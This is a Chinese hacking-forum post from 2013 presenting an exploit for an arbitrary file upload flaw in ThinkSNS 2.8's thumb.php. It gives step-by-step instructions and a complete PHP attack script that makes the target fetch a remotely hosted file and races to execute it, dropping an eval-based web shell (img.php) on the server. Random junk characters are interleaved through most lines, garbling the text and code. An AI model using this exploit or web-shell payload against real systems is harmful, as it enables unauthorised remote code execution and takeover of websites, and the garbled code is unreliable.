找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2055|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本4 x& |: e; \+ K6 Q3 z$ z! l: _% y
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
- e9 F$ {6 e! u& f2 i3 a* u1 O漏洞文件
: j$ T! `) y3 A3 v6 p4 B! {- G存在漏洞的文件为:thumb.php
, r' n/ G8 y) s; f4 O& m$ A, j) |$ ?作者:韦鲲鹏7 j  i0 d9 d9 J9 {3 f0 ?
1、        准备如下PHP文件并上传到服务器(自己的)。3 c3 g5 [1 W. m. z( \
文件内容如下:; O1 x! T2 @3 w# q
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
" a% W$ B1 T2 |' R  M& _* a$ t2、        计算出临时的文件名:
* [+ A1 w8 ?1 M* y这里我们可以看文件的99行(刚刚是不是没注意呀!)。
3 G3 c' N+ M8 [1 b' r( R" I- w* T9 S) e5 T' d- k  y3 Y
3、        上传临时文件。" O0 z, Q& t# M* M1 O
4、        访问临时文件。
2 U* d  z9 X$ u/ `9 ]3 }但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)- M2 S) F' f- |9 \
Exploit文件内容如下:(这个我就不详细解释了)
4 r! R: Y+ j$ P7 `( C<?php
& U( @' R+ p7 d* I- Y- ~error_reporting(0);+ n) I4 I. h9 j# \6 `" h- o
set_time_limit(0);
  g9 T4 F- G& o% q6 {ini_set(“default_socket_timeout”, 5);  n- ?- S( z  Q0 E4 C
function http_send($host, $port, $headers) {
9 X" c. _$ H" Y2 q$fp = fsockopen($host, $port);; E* _- n' K0 B$ e( ]' T
if (!$fp) die(‘Connection -> fail’);
0 k' m6 N' Q+ Cfputs($fp, $headers);
' A* n- M6 m! W0 Jreturn $fp;
" Y& h7 l6 V: _4 Q1 v! ~}7 c. ~5 o6 `1 T, z
function http_recv($fp) {! K& w! ^: K# g# l# G
$ret=”";
0 K% d; e6 f( w2 J5 wwhile (!feof($fp))1 E3 E1 V5 R- }& q# r
$ret.= fgets($fp, 1024);
4 T/ L+ A6 [5 i7 G0 Yfclose($fp);. b$ o7 `4 I5 a7 K3 o9 [
return $ret;
* v- P+ _1 f; C* }' J}
9 D% o3 w: G+ p' Hprint “\n#  ThinkSns Arbitrary File Upload   #\n”;8 t! s6 g" p( _. B
print “# Discovered by 韦鲲鹏 #\n\n”;
+ H0 k6 m5 n( r. x( rif ($argc < 4) {
% D1 f9 e( a" [0 k6 hprint “Usage:   php <host> <path> <romote_url>\n”;
0 i4 l/ E. V/ |1 ]# X( `print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;+ L# c  p. F% t# n8 k- J. `/ ~
die();- |# Y: r& o" _9 T3 Z4 B
}
' K/ i: T8 b8 h9 M$host = $argv[1];0 R2 a6 a3 |8 z, g* A# ~
$path = $argv[2];
' N  d# U/ X& M' Z& e* A$url = $argv[3];% [" r9 q. X0 s6 ~) f0 H# K  S
$i=0;3 i0 _6 w6 e& {. z1 N. ~+ a& `: h# ~
//上传数据包! ?& o0 Q' b7 d8 O7 l  _' d* h. v
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
+ I2 k# B2 L; j) U( D# U6 u% M$headers_up .= “Host: “.$host.”\r\n”;" n" Q+ z8 ^* c% D! U5 ~; Q1 g/ G
$headers_up .= “Connection: close\r\n\r\n”;6 B/ Y2 P6 D  m* R! D
echo $headers_up;6 z' L# s. o/ e2 o
//临时文件访问数据包* x( l+ G5 E5 Q( c
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;# S" W, g" Z1 N$ ?- ^) H* H/ V
$headers .= “Host: “.$host.”\r\n”;
( N; U# P0 U2 p* G- W$headers .= “Connection: close\r\n\r\n”;! |6 d  L+ J' |
echo $headers;
' w" s* u/ e) Jwhile(++$i<10) {
5 |; P% u8 r  A* E5 xfclose(http_send($host, 80, $headers));
- P* x1 z; \% H- P- H, q}% {$ ^' F: D6 q% O: u
fclose(http_send($host, 80, $headers_up));) h8 v: Q2 b$ r
while(++$i<50) {( f; U6 F* \* p  v; V" v. H$ W
fclose(http_send($host, 80, $headers));, l! t7 ]2 D# I! {
}
$ C4 }% {/ ?3 T5 O8 T8 w1 w$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
" W4 m% h/ M& _2 ]% C$headers .= “Host: “.$host.”\r\n”;
1 E# c$ p- I) S! D! L$headers .= “Connection: close\r\n\r\n”;: m# [6 Z2 ~4 `* _$ z* f/ b
$res=http_recv(http_send($host, 80, $headers));3 @+ X% W5 m+ i$ N7 K1 [
if(preg_match(‘/200 OK/’,$res)) {
- g. N$ Z3 V. F- Xprint “Success!\n\n”;' O7 n6 Z5 j2 ~+ X) M6 b
} else {
: M) C% z3 f0 E5 k: ^print “Fail!\n\n”;
( {5 ]% D+ @- ^' A}9 \7 m4 G, E, e! {. l
?>4 Z3 D# O) N4 f( Q, V5 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表